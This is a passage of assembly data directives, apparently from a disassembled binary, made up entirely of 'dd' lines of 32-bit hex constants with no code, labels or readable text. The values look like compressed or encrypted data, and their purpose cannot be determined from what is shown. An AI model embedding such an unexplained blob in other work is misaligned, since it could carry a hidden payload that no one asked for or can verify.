dd 0FB5EA713h, 0DE290B3Dh, 8101E05Ah, 2F2FE8E2h, 418F082Eh dd 0AC68BD01h, 80F42F64h, 38DC9803h, 1FAD7FEFh, 0D827C756h dd 0EEE91383h, 68118CCDh, 594EFD25h, 9053886Bh, 52D3F602h dd 0FC79C2B2h, 0BDE95883h, 0BD416F4Bh, 9B6197Eh, 3B8A6270h dd 16CB8D60h, 76AD01C3h, 3B27F17Eh, 5DB1D0A0h, 0E0C44C09h dd 4E1CE3DAh, 0BE5CB5DCh, 0FA6AC2A2h, 0E9CB0E0Eh, 95945817h dd 925CF031h, 5DBC5DC9h, 0A694214Dh, 0EBBF5C84h, 215A7130h dd 95F04FBh, 0AE850FDBh, 20C49559h, 70127C41h, 0DCED2C01h dd 67938496h, 364EA322h, 36B5E90Eh, 0C1C81004h, 444E50ADh dd 0F6C9F260h, 0D2591D53h, 63B12F62h, 68164CE4h, 64BB43A7h dd 0B812C034h, 2B5A956Eh, 66430E8h, 0C7EBC403h, 0B4F60514h dd 71011150h, 6F0D0F58h, 0C32A960Ah, 0A2BA7B58h, 0F29DD961h dd 52257BC5h, 0A7DC6FEAh dd 697FE7C0h, 8F9745A1h, 2DDA0343h, 0FFC3DDB7h, 7E97B1D4h dd 0ADF8133Ah, 94E58460h, 600F580Bh, 1B4A5210h, 0F761E428h dd 6F184DF1h, 3C510CBDh, 0B0B82F0h, 0C8215B22h, 4025767Bh dd 4B8D85B4h, 60FEC9A9h, 0E98037ECh, 55DEAA38h, 0ACD1BE09h dd 0C9E6D62h, 98A0DDD8h, 0D83F13F8h, 9292F2Eh, 619AD749h dd 11BDE01h, 23D1D46Eh, 0A02CF39Dh, 46C50BCDh, 8B773B0Dh dd 0EE934009h, 82F59C0Bh, 0C0F2B151h, 3B09DC89h, 0CAABB083h dd 0D3F7F302h, 442BF262h, 3E55ECFCh, 0E9899487h, 827305AEh dd 0A409E720h, 0D7741D6Ch, 0B64EBF20h, 8D983A0Eh, 0E9C20299h dd 7637F8F9h, 9BB7245Eh, 860A6A3h, 68097601h, 5B42DA28h dd 0D8AE849Fh, 2C0E0D50h, 0BC1DD069h, 9EF55C0h, 15B3C2Dh dd 0A00523C8h, 383FF31Ch, 48594816h, 75E74853h, 0A9ABB003h dd 0CFCA05D0h, 0BA297453h, 1607892Dh, 0C168173Ah, 0B7B46010h dd 1909E722h, 687F41E9h, 82B5556Eh, 4F095F58h, 0D7058B46h dd 27767B00h, 0E92E282Fh, 0DEA77B4Ah, 0E9D2C93Ah, 428F0E0h dd 0B527E76Bh, 17465695h, 0BAF7F030h, 18C7DC5Ch, 0F9CC4A40h dd 6643275Bh, 6830D55Eh, 2829236Fh, 72E00969h, 5D075468h dd 95A9F8E9h, 0FC273C67h, 88E95012h, 66167694h, 2B82B10Fh dd 5B2A58C9h, 0CD0FD2Dh, 0C71D3668h, 0E925B729h, 0DF5BEDEDh dd 0C51256C9h, 4BC0A055h, 0BA0E245Ah, 0BBF9456h, 0F224F84Ah dd 0FD2CFB5Ah, 2BC8B783h, 6695CCCAh, 4FA0F2B7h, 9390EDF5h dd 0C3020CA2h, 70870B97h, 0ECDC0DE3h, 73EF8172h, 89C5C2DDh dd 4298EB39h, 2D750214h, 0F2973FB0h, 0D8E9130Ch, 5020A2B3h dd 0B7B81DB2h, 40CA78B7h, 0B299F601h, 0C860FF0Bh, 3B27FABFh dd 0C6027EB7h, 14A458E5h, 74E4BF90h, 56EE28BCh, 405FB288h dd 0D0C05DA0h, 784F76AFh, 0C4F34801h, 0C810841h, 2C4A649Dh dd 0BD232B5Eh, 0B88749BCh, 0C9040958h, 80404D6Fh, 0C354D724h dd 0E7026D7Fh, 15E95505h, 7C19571Eh, 0B941819Ch, 5B912953h dd 12E803Bh, 0BA0552C3h, 402D4F1Fh, 4B1416C0h, 76D3A2D1h dd 7A53A744h, 424B263Eh, 4308EBACh, 285B056Ah, 0B5A204E8h dd 0DDADE572h, 0ECB66A6Ch, 0D8BA6813h, 551C3C82h, 0BDCC1FD4h dd 4E290D38h, 84E0B9EAh, 0FC18EF14h, 51139CDCh, 9C5601B0h dd 13841904h, 0A584540Ch, 0BA17DF96h, 0D25352BBh, 6AF7ED4Eh dd 1D41DF62h, 0C87CE291h, 0D8636BEFh, 8DCF957Ch, 0CE9CCB28h dd 812DF5C9h, 0B1B56B34h, 0BD7618ADh, 36DA03A7h, 0E55F4F9Ch dd 2BD7E96Ch, 3FFFBF1Ch, 400E8375h, 9D0F748h, 0BA1C0504h dd 0AA294605h, 25681888h, 665F11h, 5080DDEEh, 69EBEE56h dd 778269E5h, 16903A48h, 3BBF0F6Bh, 0B4F895B3h, 0EE5F8284h dd 42E49C24h, 59C37E88h, 365005C0h, 1666BCA6h, 0A2BB275Bh dd 127F18CDh, 21618284h, 54E309D2h, 6DA4C4C1h, 0D0070144h dd 8CC680E6h, 0E156126Fh, 42A5375h, 75B753D8h, 4202E92Eh dd 9DFF689h, 5E2A6273h, 8F8C3132h, 0CB139879h, 0D3C5C788h dd 5148BDC5h, 48DD3B3Fh, 0D6ABE5DBh, 72B50C20h, 27B3832Ch dd 907C9F44h, 0F608D62h, 0A5EF1A6h, 61BD660Eh, 3007923Ah dd 0F7935013h, 945E3D5h, 2C7CD14h, 4E5FD83h, 0B4F51201h dd 0DB18E933h, 93557A74h, 0EA54122Eh, 0A65D972Ch, 6C5525Bh dd 0AB925589h, 969ADBC1h, 6EEC01AFh, 0FAE4244Ch, 64B3C5C2h dd 919F2056h, 6B0019B0h, 8139D52Ah, 7592DE3h, 0E9437988h dd 0E67C2B0Ch, 958A6C2h, 84E604h, 1467C781h, 0ECEF4EB8h dd 19468091h, 68293956h, 2408B8CDh, 403003D9h, 0CCF76E3Fh dd 9D2FE959h, 64F24606h, 805EBD02h, 4E0496B3h, 42446C48h dd 8705A14h, 0BD627568h, 9E180E9Ah, 64066EEEh, 0FE011F3Dh dd 7C088236h, 1C0B7014h, 0F6594082h, 709B1249h, 129CA821h dd 28BB1160h, 0B7D6E555h, 0EC48A9FCh, 17628BC4h, 0AF6017BEh dd 0A72EF229h, 0E913984Ch, 9E01BDD5h, 0CCBEF280h, 284E8FC3h dd 9875E6B8h, 0EE5F20C4h, 538D6812h, 0F4C003BCh, 0E92D0D2Eh dd 5AFB2227h, 7D1427D0h, 76ADED7Bh, 0A4BA65ABh, 0D058215Fh dd 2DAC9710h, 635469E5h, 0A1497A36h, 54D02FEBh, 0D3321AEBh dd 4BD0A375h, 5BC116DBh, 0F71F3320h, 0F960EF9Ch, 0BD0106E9h dd 30FE44B9h, 6741575Bh, 0E391F17Ah, 3EBAF1D5h, 5D078D31h dd 0D4FEBE01h, 0E5A070DEh, 0F22ED012h, 31BF73B2h, 5AD19F9Ch dd 2521E22Eh, 0E30D5902h, 61182CD2h, 43CB5CD7h, 345973Dh dd 0B7B46C2Fh, 7CF058B0h, 9B05F824h, 61326A81h, 2830DDF7h dd 0FE411850h, 599E0C2Ah, 0D8B22B25h, 5AF09C93h, 0F2CBA8D4h dd 0B34D5E2Ch, 0FA84EECh, 2D9A0189h, 0C622B155h, 0F7BBCC50h dd 0F478F816h, 3E4ABD94h, 6B8BB841h, 65AF2484h, 35648160h dd 77412E69h, 2A2B217Ah, 9981F907h, 476F0D94h, 0FE0355D3h dd 1C40835Eh, 0F681728Ch, 2E021225h, 0E00B01Dh, 0DF48C026h dd 0BD746301h, 7FD9497Eh, 695ED56Ch, 7BC7710Dh, 4B586ED8h dd 16A7E6B6h, 31BA1A57h, 2B78A257h, 0ECB3BA24h, 0B2B05000h dd 98E9C288h, 1E37CE4Fh, 0CF02C94h, 0DBF42C80h, 2C921C79h dd 6DEE1D7Eh, 3FFBEB31h, 0B753BDE0h, 0FE6B8E5Bh, 3B68C0A3h dd 5B1C8E08h, 47272AE9h, 98992CABh, 49B89FE1h, 42AC3F16h dd 809334ABh, 255D95C1h, 0A00F8701h, 48E9516Fh, 0A05FBC6Ch dd 321FB255h, 0AF3F28D3h, 52C3D491h, 0A007C960h, 0D44BB0B9h dd 60A1220Fh, 77B3CE43h, 56923CA4h, 59E66813h, 67C1438Dh dd 94D0A13Ch, 0AF1B045Eh, 7E0E1275h, 82C269ABh, 7AB61E66h dd 0BA60D3A6h, 6A0C7658h, 7482205Eh, 4E654B03h, 0DEB7E960h dd 0B49EC6DBh, 0E604B797h, 0F217713h, 842BC1AAh, 0FEA72F14h dd 8518645Fh, 0BD00AE43h, 29FE5926h, 2D7FE6B8h, 1F60A298h dd 5E8C140h, 36BF2500h, 32350946h, 0B0445E10h, 69169B4Eh dd 87A92C41h, 0BD580840h, 964AA6DAh, 63BE9A85h, 0C55B36B7h dd 0B527BAB9h, 41F294ECh, 9CA0C3E0h, 7E83E4A6h, 0E0D1338Ah dd 603030Ah, 0EC60508h, 0C7FA137Dh, 0D80E0C58h, 302D5930h dd 68EC81F8h, 716E401Ah, 5088F06h, 0FA6085BAh, 5CED7E78h dd 0C6B0C771h, 8D056952h, 3E6C12Ch, 0DF9AC9C2h, 2AB70B6Eh dd 3A0833CFh, 845827C3h, 12FE2920h, 0D1F83166h, 3E60BFD1h dd 0D0895161h, 0A502013Ah, 0CC66DB29h, 0A4F5E9F2h, 0F2254D4Fh dd 0EDBE8066h, 970A9802h, 0A0B8C3E7h, 6252B059h, 9347E372h dd 0F6EAB600h, 6FF590D6h, 0EA77060Dh, 0DD0CD419h, 1F5AF3C0h dd 0C05BD908h, 0B3537FC1h, 0E35AC044h, 86457283h, 927BE1Eh dd 0CBD9D870h, 0FE9909CBh, 5FFE8BDEh, 0E941D351h, 22A7F2AAh dd 929201D4h, 955687B0h, 16E54BCAh, 2493232Ah, 575BDE89h dd 822CD3B0h, 542590B7h, 0D7CEBF8Bh, 26FD0DD3h, 17D61AC4h dd 934BF9A9h, 3DF25E6Bh, 7E5EACA9h, 0FF96577Ah, 4CC33139h dd 1F1E28C3h, 3B2608EEh, 641F8F83h, 49F5C86Dh, 48DD82CFh dd 0BD58C1E7h, 0C80982F3h, 60B61A66h, 0B740B0F4h, 0B76C9C02h dd 5257165h, 5D93ECC0h, 7B01AB80h, 5A9C2EF9h, 0CEC26BAEh dd 96AD9E77h, 7B0F88E0h, 32D3641Ch, 0E585008h, 0D3275BBAh dd 0B28CAF6Dh, 0FD28ED89h, 522FA68Dh, 6217ABAh, 0CFE9D701h dd 5D0E26C7h, 246D2D48h, 0A2817AAAh, 0CE07C580h, 0C6583C6h dd 0D1B6B0B2h, 0A045A505h, 0C1B114C1h, 68168073h, 9335BEA2h dd 99AA0818h, 17BB7205h dd 0ECFA669Bh, 0A9054A63h, 0EF90825h, 82DB5E34h, 18E150AFh dd 0CE443F15h, 0CAEA175Bh, 0EDB8194Ah, 206A1CFDh, 542E8FFAh dd 82F31750h, 24BD0E07h, 0EA85CA01h, 0D759080Ah, 0F19FCA22h dd 6E9E20Fh, 0F06EAEA9h, 59D9FFAh, 2CFF5F9Eh, 30D3FE5Eh dd 0D35700A0h, 64B40DD5h, 0E4F37E37h, 5A66750Eh, 0D8284281h dd 39E9D004h, 6B4624Ah, 2CF390F7h, 37315B3h, 0D328D9B2h dd 0F325347Fh, 0CED0C5Ch, 0DC8826E6h, 0C3C40C1Ah, 38900106h dd 0AAFBE380h, 16A63591h, 566D12CBh, 92847910h, 0C70901C3h dd 5EB369EAh, 8D166673h, 82CA37EDh, 0A2756888h, 0A1729146h dd 67A0AD2h, 0FA01C268h, 89AFF985h, 1E541D6h, 8AFA05B5h dd 0F3E3925Ah, 0B10BBCD2h, 313A0AE9h, 0E954506Bh, 72D13EE8h dd 0A50755B9h, 5A4ED06Eh, 84EE0C0h, 0E0C2B40Eh, 6D2C02E8h dd 0B7C65A30h, 28D39051h, 0DD65C8B6h, 0CB0C6606h, 4C150661h dd 0C0169120h, 0B76304EEh, 0CA050BBDh, 202A72FDh, 8016D4CDh dd 8BB0B2C6h, 0C707B52Ch, 565B1203h, 12B4EE7Dh, 8C1AE768h dd 5305B2E8h, 0D5F77F64h, 15513BBh, 0E368015Ah, 0C15A6857h dd 75D24062h, 0B043A46Bh, 5372F39h, 4E3A6853h, 0F700DBB3h dd 0BB48500Ch, 98711E1Dh, 5EF3291Ch, 810047ECh, 726F08F1h dd 0EC3D986Bh, 15EC272Dh, 1E08EF28h, 5DEE4A59h, 0B0A664D3h dd 519D21FBh, 607F1D4Eh, 19740D0Bh, 4077C75h, 0FADEB9FBh dd 0F681D500h, 0FAA404BEh, 0E9F73E09h, 4FE786AFh, 56AFBA17h dd 0C070B145h, 61B52619h, 0E22B081Fh, 8CE9B0E7h, 0ED4CB27Eh dd 6585496Dh, 5F4B8A56h, 0E535D2A2h, 0F3870439h, 0EBCCAABAh dd 0C11812AAh, 0A121FB22h, 590211C8h, 82548CF6h, 0EEC0C495h dd 0CBB79C3Dh, 0FEF807Fh, 0BD1E8163h, 582F48C8h, 0C6EFADC0h dd 0C1233940h, 0EA04BC0Ch, 33006074h, 0DA60D841h, 49372B68h dd 710B3DA5h, 0FF7E7AE0h, 0F947C62h, 8A511712h, 879D50C6h dd 25E1C4BDh, 0F3C6886Ah, 796F962Dh, 15E2CA05h, 0D03BBC5Ch dd 15BB2A95h, 54250C58h, 0B612A456h, 0D7E91DC1h, 0C860166Bh dd 0C6624154h, 7F583237h, 570F5B80h, 17644C5h, 367B95A0h dd 686FC604h, 30FB291Ah, 76082068h, 0D7FC30FFh, 5AC2D582h dd 0EBE40A85h, 6BB0164h, 0B5607B7Bh, 9E9855ABh, 0B5FB40Dh dd 804F7F5h, 2CD9182h, 28E8EAC0h, 31700462h, 8058C20Eh dd 1FFF5CCAh, 3E5E901h, 3DDBB293h, 0B616F314h, 11CBA3CEh dd 0C2027638h, 0FDC15E7h, 84628D5h, 262AF030h, 0F70A2EE5h dd 0F8520807h, 11C1053Eh, 0A6803F22h, 4E0559DCh, 7688BC63h dd 0DEAC5A4Ah, 9ED55BE2h, 8B279F86h, 0FE53FF5Ch, 9D90F92Ch dd 0D730B802h, 0C5F76CC8h, 28AF06C0h, 4B4FE9FEh, 0A517A86Ah dd 0BD5A8DA7h, 8C68C412h, 10776609h, 80CCF279h, 282B67B1h dd 7CA658CAh, 7C05B426h, 7AF09B1h, 982CB4h, 860CE9C8h dd 113CF99h, 114C13B9h, 0F9A76B3Fh, 0E588E95Ch, 66B56077h dd 0F633F586h, 1AFE08D6h, 385BEDE0h, 0A5CA635Fh, 737A4AC1h dd 5074B5A5h, 0B3FB879Eh, 41D0C695h, 4AF70A0Ah, 1EA71323h dd 0E078D70Bh, 0BCA45EE3h, 6A8BC351h, 50663BA4h, 40998E8Fh dd 0C8C28353h, 4C3F0768h, 58F10CF2h, 0FA6847A1h, 0EC723E9Eh dd 85944AF7h, 7622E7DBh, 0BD536088h, 60A6D915h, 61D3D1A5h dd 3B015D5Eh, 312ADA6h, 928CB37Ah, 8BF3E6ACh, 6873CCC5h dd 6622B525h, 0A39A20B5h, 0A4515997h, 191F0190h, 2A2DBAC5h dd 525A5A8h, 0D5B00B55h, 82444082h, 0BDE894FDh, 4CC254D9h dd 8C6BD9E8h, 0CAB70593h, 6A0ADC90h, 6C0B043Fh, 0A0DCF1E9h dd 0B00C44B0h, 0C02A5241h, 2C7A3528h, 0D603292Dh, 4BD62796h dd 0C6280639h, 0BDE0190h, 7C9512CEh, 8A04CDCh, 6D5575CBh dd 0B9E985D9h, 947BD512h, 3E95BED0h, 0B5B66304h, 0B707490Bh dd 54A0D279h, 48122878h, 0B5A031E9h, 0B201975Ch, 7E461904h dd 0AE20C6C0h, 96E95C3Dh, 0E24BE249h, 42D1A4FEh, 213D5AB5h dd 95359C5h, 94DC9CEAh, 5F766870h, 56062222h, 0E99D5047h dd 89C91116h, 0EEA4FA38h, 8F03CC8Dh, 0EA8D0E79h, 436B7F30h dd 943F0077h, 12707A2Bh, 0BA5C71E9h, 59F83E75h, 0EFE9CBC1h dd 2D2497B0h, 5D3C4FEAh, 0FAE0AA69h, 8F98A0B5h, 0C56D9D60h dd 7B2114C2h, 5E34B66h, 81B15136h, 69A2965Dh, 0B45A7F84h dd 0D031A30Bh, 25029598h, 6D5D5BDEh, 179098Dh, 59AC43F3h dd 1D49BF16h, 2796F55Eh, 0E9C20906h, 0EE248530h, 5A07EEE8h dd 1A9B8A94h, 85A3DD15h, 96ED2959h, 0AD47681Fh, 0C6940299h dd 9B2E1C31h, 3D914F96h, 4C2434E9h, 674E2568h, 93E9818h dd 957A7Ch, 0D6F581CCh, 0E591901h, 0F4690E4Dh, 90BC9585h dd 0D8E7813Ch, 83752B4Ch, 3B635DE6h, 5F782DE0h, 6809E8AEh dd 71BB50h, 0AE1B44BFh, 0D6497161h, 0E7060510h, 0E14EBC0h dd 73A30716h, 4BE2105Dh, 997F2E5h, 48CB0E08h, 0E207A107h dd 78D29910h, 3D9EA20h, 1C27CE81h, 0E6B16EC7h, 6F17FCE4h dd 6C0CF6F8h, 0C1B6013h, 7747134Ch, 0E6905374h, 0C25410ABh dd 0B825804Ch, 0F63A7F58h, 5E298D2h, 25800610h, 0B9786CC2h dd 4B9B6220h, 10ADB65Ah, 0C109712Dh, 0A70003EEh, 37C7755Bh dd 8144667h, 2C16A7AFh, 7562C28Bh, 0C1019DA5h, 4D85669h dd 6EF431DCh, 0A9C61792h, 0FB57BFBh, 6277E982h, 13618A18h dd 1D72EC88h, 0C25849BDh, 5E58583h, 0ADB9E4EFh, 2C5C586Bh dd 0A5089E9Ch, 3B6609C4h, 6095474h, 681C9850h, 0CC464FD3h dd 7B5A91E3h, 5889CCA7h, 3B7DF689h, 826E1369h, 3128300Ch dd 142568C3h, 34CCC66Fh, 0FE817F99h, 5437ED40h, 909785Eh dd 0DEF759CEh, 9739F240h, 6E3744Ch, 1A3C4305h, 420D100Ch dd 6DC700E8h, 317A2696h, 9AD19DFEh, 5AF54319h, 2D7C5B26h dd 8A22FDCFh, 1E79EF5Fh, 0E2D32F3Fh, 2E6D6767h, 2F527903h dd 97012498h, 8301CB8Bh, 60EB880Bh, 5B402F1Ch, 20471229h dd 0F707CD58h, 38688109h, 925C597Dh, 264B15Dh, 0B6927BABh dd 0A0B70B48h, 2C21A297h, 454C5E59h, 5F24E09Dh, 6E1D575Ah dd 387A8747h, 8AB825E5h, 686E884Ah, 0BBFCA04Bh, 85028DD3h dd 7E38E955h, 50C9FBA8h, 0A6266E5Eh, 6124B654h, 2F50F368h dd 40969CB2h, 0DB5C02CBh, 0A4EABE2Bh, 0AE90D4FEh, 0CD2A080Bh dd 90A87F21h, 0EDE90408h, 9388E379h, 0A1E864AEh, 7AE42AD8h dd 5F914053h, 4AF6C3BFh, 5F70B658h, 781971ECh, 3EEFCD0Fh dd 0ED89472Ch, 85F73E01h, 5AD02850h, 97C973A0h, 0FDA0ABD1h dd 26AA6168h, 0E1011C79h, 32B33A06h, 0F3CE0417h, 8A0F106Eh dd 37D95825h, 0B043D42Fh, 0A8533D0Ch, 0A81C265Fh, 0E91708A8h dd 69BF89A4h, 67E67F1Fh, 0C57CAF4Ah, 34FE5B11h, 24B1AB1Dh dd 5163F07Bh, 5AD8EBDh, 0DEC55BFCh, 3C218752h, 297F4DCAh dd 4F33B1Bh, 845BED92h, 412DE1Dh, 65D4C3h, 9585A50h, 4A88F4C9h dd 0EA1CD00Ch, 0E4C4029h, 252A092Ch, 228E82EEh, 8F5201B2h dd 96EC2A47h, 510483F2h, 68002E8Bh, 77BA565Fh, 50E7A6E9h dd 692CD8FEh, 80B57CF2h, 1105BEB5h, 0C1740BE7h, 4E0002E6h dd 9714A56h, 0BADCDA0h, 743FBC25h, 15427CEh, 1FE14B17h dd 257B8273h, 0AED6FBF9h, 4ECD9CBh, 0E97D7468h, 0C055A206h dd 0BC743127h, 0C8C18398h, 0BC2F92B9h, 726CF4FBh, 9C20A2DCh dd 0AB35DF0Bh, 0DE240363h, 0EBBC27F5h, 0E2ACDE5Ch, 0D15B1591h dd 0DA493Bh dd 0BB16C368h, 35C70443h, 0F5558031h, 862512AAh, 20CBF823h dd 56035DC8h, 9061B4BEh, 0FED0DA0Eh, 0F5800713h, 59E8039Ah dd 1EB51885h, 60AEA4ECh, 736F9CA8h, 16705A81h, 0F5312CFCh dd 4FEE0220h, 55740DA7h, 0C320AB16h, 4BE0D0DCh, 86581608h dd 0CC0B2EDBh, 2123A260h, 6A9E25E8h, 4E06E841h, 0AB46B440h dd 0E00F4BE1h, 82F550F5h, 2F783780h, 0F17AE157h, 2DBB0745h dd 0EB583B8Eh, 27349884h, 31785F66h, 293682Dh, 55C1E94Ch dd 5C169BC5h, 31C50BAEh, 5D00A9D5h, 58DE4D42h, 81A76358h dd 0D94D85Ah, 8BDCF397h, 0CAD4E568h, 0C7A1E905h, 581EE8A4h dd 57CBD188h, 207078D0h, 2B226DDAh, 0D14B09C3h, 8CE42B0h dd 910F35DAh, 657FFB77h, 20E9E8BEh, 0BB6AD29Ch, 93940A61h dd 4EBDA76Eh, 0E8F50BD9h, 0B57FA166h, 0DC255545h, 0B5E9E1E0h dd 5FC53277h, 35ED5DA5h, 5CE6097Bh, 0CC80EB90h, 4B73F183h dd 2DAD0A93h, 0FAC63A06h, 0F7CAF22Bh, 0F1496720h, 7340BD05h dd 5B76370Ch, 0B505125Ah, 531EFADAh, 291032C5h, 0C4CCB24Eh dd 2905EEACh, 0F814DDD8h, 0A3C8E0DEh, 0E3818122h, 3BD874ACh dd 0FB0F3EC0h, 0C5364BF3h, 4F45B836h, 0D2F2A5ACh, 0FB25B572h dd 0EBC9564Ah, 88DF63C0h, 11485782h, 2F1F273Eh, 92965832h dd 9C685D42h, 6B3F7C6Bh, 6CE02A57h, 0AD336527h, 0CF1B5AC8h dd 527F6880h, 9A012135h, 0E910CD6Eh, 58BD2821h, 542C027Ah dd 75B6B753h, 0AC54CDC2h, 0A1BD45A7h, 0F0210B38h, 0C181ECF1h dd 0C83118E8h, 0D4FA07Eh, 7989704Eh, 0E16A8531h, 0C317A45h dd 0A76374B0h, 805F6825h, 94055A10h, 48A4002Fh, 0F0655F2Dh dd 0D04C2940h, 7EA904A7h, 1CAE5938h, 7E9C5DEh, 37E50381h dd 14B61B25h, 5B795D13h, 272D0E4Ah, 0AF42092Ch, 0A744D3E2h dd 0C7AE4391h, 5D73F9FFh, 0FCAF4CA7h, 21D22672h, 1F227BEh dd 0E91585E1h, 0F34E5B55h, 5AE2E9C3h, 0FEA07B6h, 0B2667872h dd 92538990h, 0F15A70A4h, 61AA8A78h, 9DE0224h, 0BA5447F5h dd 4A08C214h, 13FC5CAh, 231D32E0h, 0F3A10B44h, 8EC05CEh dd 3B37BC05h, 851C8043h, 3F00833Ch, 24ABBB53h, 6814D27h dd 0C73814CBh, 69090C3Ah, 172E02Fh, 0A4E3D95h, 87F2A06Bh dd 0A4CB21E5h, 80103E08h, 425DBB02h, 44576D70h, 0F3E8A0F5h dd 3E7B138Ah, 0B7300026h, 95BEA74h, 6C6789Dh, 0C66E51EBh dd 7D090C5Eh, 0F7A103FCh, 6F6AE382h, 0D8254C79h, 1DB601B2h dd 685571A6h, 1A34CC27h, 0D4C04DFCh, 2D7B4C5Fh, 0FECE3A81h dd 0F74B8801h, 75C14ED6h, 0B8E60468h, 0CCBCE48Fh, 49FD5D09h dd 0F34F405Dh, 878A2FE9h, 0BEB35D46h, 0A0D666AFh, 97E3748h dd 0F1013BF5h, 9085608h, 9179555Eh, 2CE18997h, 9F6E608Bh dd 6BCBD106h, 0D88BD9B5h, 69BDE184h, 69E02D8h, 500CC903h dd 315BD264h, 0C91044B9h, 56FD0089h, 57FFE68h, 265E7D10h dd 4707D4E4h, 1992A39Ah, 4D820C01h, 0EB01EAB7h, 0B9E74B20h dd 0EEA2023Ch, 16E2C4C0h, 7CB8E660h, 73F65C00h, 938222Dh dd 4035017Dh, 1A3A253h, 58C328C6h, 771A020Eh, 0E15D554Fh dd 44327AD8h, 0DB26AA92h, 649B042Eh, 0E85D21A1h, 538CB159h dd 90E6B27Bh, 0DF55B2A2h, 190D4F89h, 47C83AEDh, 0D1BDA8D2h dd 0D03902EAh, 0F8C5840Fh, 928B0AF6h, 0B1967A2h, 2A05EF80h dd 29B3F12Dh, 1FCA406h, 8A65E982h, 0C16FA5FEh, 0DCF607B4h dd 0A47852F8h, 3C4804B2h, 0FA460AFBh, 5B2AA790h, 84A50FEh dd 0BC3613E3h, 0E40E10BFh, 299B2A13h, 8B188A35h, 46F935Ch dd 6E3AF3Eh, 7C120093h, 8007E7C0h, 0E4D66EB8h, 6E0922B8h dd 528BFE88h, 0EEC032FEh, 0BDEF621h, 0C006B551h, 0DD0F8F8Fh dd 30F2C5A0h, 882759EEh, 881C1BF5h, 5FB8E96Eh, 78819908h dd 7D6DC59Ch, 0D77BB8h, 416CD5B3h, 33DC682Eh, 59EF811Fh dd 5E904ECh, 5085A2C9h, 40B25EC3h, 0BF5DEA01h, 78B02A03h dd 0BB8A843Eh, 2C3D68C0h, 43FA4C92h, 93470F1Ch, 0C313F053h dd 0A9E908A0h, 8F28B758h, 46FC0540h, 830424A9h, 0AA070F25h dd 8133FD4h, 0D1B235A8h, 0F9976AD0h, 38E56FBEh, 0C22A928Fh dd 0F2A561FDh, 0BD02726Ch, 2F0E129Ah, 6CCB940h, 58354Ch dd 5D6424BEh, 48F00171h, 0BB02BC5Eh, 0C072F63Bh, 2117E3FCh dd 6D0A09ABh, 0B9033778h, 280B0EF2h, 7B68D951h, 7AC4EC3Ch dd 55011FB3h, 59165003h, 0B7B811ECh, 37255CE6h, 0BC48D15Ch dd 828973A9h, 7C4E4F3Dh, 17B8C47Dh, 0B4C260E9h, 0CF09F578h dd 2B850Dh, 0A3128DFFh, 0B018C142h, 71584Ah, 50629178h dd 2DE9DF88h, 1C6EC12Eh, 132926C6h, 2EC1BD82h, 0E7CFA0E3h dd 982CE770h, 9D024529h, 0F73EF5F0h, 0CFDF1A6Ah, 685C825Dh dd 98F76913h, 9F4A3FC8h, 44BD75E6h, 49E9121Ch, 3707D1D9h dd 0BA0E04D3h, 0C29138D1h, 6E381D7Fh, 0ECF28154h, 0F0057D73h dd 611635E2h, 0E10E4B0Dh, 0A04C511h, 0AEDF84FFh, 0F23A1E99h dd 6F12C478h, 7DDBBD00h, 23F43113h, 9D25B74Ch, 79FE78C4h dd 82AF3EC2h, 0B55434Bh, 75031D89h, 0A902A8BFh, 986D7EEFh dd 1588F6F3h, 291DEC0Bh, 5FE7D3D6h, 17F5938Fh, 89E1823Bh dd 6C721654h, 18295893h, 0A1A1885Ah, 523D8E6Ah, 68054000h dd 2DFB9665h, 0AD19C329h, 0B4122F53h, 32E9B26Ch, 5F4EA6EBh dd 3B2B6A41h, 0DD5A7409h, 935CDBBAh, 0B51BF908h, 40A8B66h dd 2CE9A7B7h, 0BBEB5A0h, 7A707565h, 3C93A680h, 419F0943h dd 4EE2CC92h, 203BF784h, 0B652A604h, 0E61F3FFFh, 48539E93h dd 0A95B84BCh, 96553E8Dh, 22BEC36Eh, 7C0F33D3h, 0B0FD9E92h dd 4144417Ch, 9628C7h, 266CA81h, 687D940Eh, 0EF7123EEh dd 5CFFA089h, 13145116h, 4B51059Bh, 4E5FB968h, 8CD681A4h dd 0B1F5A59h, 0ED01272Bh, 527141AAh, 489DF140h, 870C4E47h dd 3408EAEBh, 2D14121Ch, 10E86180h, 13E956E6h, 27CDCC5Fh dd 2D16E26Dh, 78B7E2B4h, 71A54825h, 0AF97C8F5h, 62C2DC56h dd 5461A7ACh, 0FE19C94h, 4A85923Dh, 3E40CAFDh, 66951857h dd 1E3EF219h, 0D2F3B5D6h, 5A7FEC8Fh, 3C42096Dh, 9D50BF4h dd 0F68378B5h, 0B12FC19Dh, 0E8F9308Fh, 0DD7DF180h, 1012EA5Bh dd 2DD353B7h, 54DD5216h, 514B3078h, 68E077A9h, 0F9C460DCh dd 2D1C6E70h, 0EC382D69h, 0D9959EB2h, 0AE52AF18h, 706B3C01h dd 0AA39E966h, 1614BC7Dh, 0AAD2DD64h, 56B0DA62h, 0AB5C2FB3h dd 0E26F24EDh, 674E980Dh, 0DF7495A5h, 0B3A0EC50h, 58340B4Dh dd 0E49E67Ch, 890BB0AEh, 3EF75BDEh, 6A0C2743h, 0DFCFA859h dd 3C8ED0D7h, 1D1C5A7Eh, 43024992h, 66E70D48h, 8BA0F995h dd 98564A2Ch, 80A8B360h, 75A37EEBh, 255195F6h, 1A408C5h dd 0F8425ED4h, 0A6CECFh, 0EBC13769h, 1361B007h, 816ED205h dd 6CAFE955h, 25B8001Fh, 292A9A1Bh, 5242F8C6h, 2010D3B2h dd 246816AFh, 809334AFh, 0CD4359CBh, 0B7E9420Bh, 0F3197DD4h dd 0BD378022h, 2CA76794h, 783BD31h, 1A1D98DBh, 97CC1AB3h dd 0E34D0ED5h, 385DA220h, 0BF66447h, 91E77E5h, 318EE320h dd 890402A9h, 5075E9EBh, 0F7690612h, 6425A1CEh, 0ABFC61Ah dd 7038CCBEh, 69D809FBh, 51178F67h, 3C587600h, 62B91BD3h dd 27E90B5Ch, 0AD76B450h, 0EB40FB5Bh, 59706AC2h, 6EE900Dh dd 4B401F8Ah, 77C1A42h, 0E9186D98h, 1B9756E2h, 40AB31Fh dd 0C5C7FE70h, 7C855731h, 8B491EF7h, 0CB468412h, 0B681BEA3h dd 6FE5E972h, 0BB56335Dh dd 0B789609h, 0CDB4E8CDh, 0FD7114A9h, 1600AC2Ah, 297EA524h dd 414B5DE9h, 0E85AE2A8h, 0F8C3A4ACh, 2AD59E14h, 703C421Fh dd 99045FBAh, 596A30DBh, 8F3A5B81h, 0E05C26E0h, 31CB1B09h dd 0D5175E6Ch, 0BA2E943Fh, 934F6C9Ah, 0E295F474h, 